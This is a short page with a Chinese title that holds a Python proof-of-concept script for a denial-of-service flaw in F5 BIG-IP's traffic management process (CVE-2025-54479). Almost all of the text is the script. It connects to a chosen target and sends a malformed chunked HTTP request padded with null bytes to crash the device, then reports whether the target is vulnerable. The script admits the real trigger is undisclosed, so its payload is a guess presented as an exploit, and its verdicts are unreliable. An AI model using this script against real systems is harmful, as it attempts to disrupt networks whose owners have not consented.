F5 BIG-IP TMM拒绝服务漏洞（CVE-2025-54479）

# CVE-2025-54479 - F5 BIG-IP TMM DoS PoC # Vulnerability: TMM termination when classification profile configured without HTTP/HTTP2 profile # Attack Vector: Network (unauthenticated) # Note: This is a conceptual PoC. The exact trigger request is undisclosed by F5. import socket import struct import sys import argparse def send_malicious_request(target_host, target_port, virtual_ip=None): """ Send a crafted request to trigger TMM termination on vulnerable BIG-IP virtual server. The virtual server must have a classification profile configured without HTTP/HTTP2 profile. """ try: # Create raw socket connection to the BIG-IP virtual server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Craft a request that triggers the undisclosed TMM bug # The classification profile without HTTP/HTTP2 parsing layer # cannot properly handle certain protocol-level anomalies payload = b"GET / HTTP/1.1\r\n" payload += b"Host: " + target_host.encode() + b"\r\n" # Trigger classification engine with malformed/edge-case headers # that bypass normal HTTP parsing but engage classification logic payload += b"X-Forwarded-For: 127.0.0.1\r\n" payload += b"Content-Type: application/octet-stream\r\n" payload += b"Transfer-Encoding: chunked\r\n" # Malformed chunked encoding to trigger classification profile edge case payload += b"\r\n" payload += b"0\r\n" payload += b"\x00" * 16 # Null bytes to trigger parsing anomaly payload += b"\r\n\r\n" sock.send(payload) # Attempt to receive response (may not arrive if TMM crashes) try: response = sock.recv(4096) print(f"[*] Response received ({len(response)} bytes)") except socket.timeout: print("[*] No response received - possible TMM termination") sock.close() except ConnectionRefusedError: print("[!] Connection refused - service may already be down (TMM crashed)") except Exception as e: print(f"[!] Error: {e}") def check_vulnerability(target_host, target_port): """Check if the target BIG-IP virtual server is potentially vulnerable.""" print(f"[*] Testing {target_host}:{target_port} for CVE-2025-54479") print("[*] Target must have classification profile WITHOUT HTTP/HTTP2 profile") # Send probe request send_malicious_request(target_host, target_port) # Verify if TMM is still responsive print("[*] Checking if TMM is still responsive...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) sock.send(b"GET / HTTP/1.1\r\nHost: test\r\n\r\n") sock.recv(1024) sock.close() print("[+] TMM appears to still be running") except: print("[-] TMM appears to have terminated - target is VULNERABLE") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-54479 PoC - F5 BIG-IP TMM DoS") parser.add_argument("target", help="Target BIG-IP host or IP") parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") args = parser.parse_args() check_vulnerability(args.target, args.port)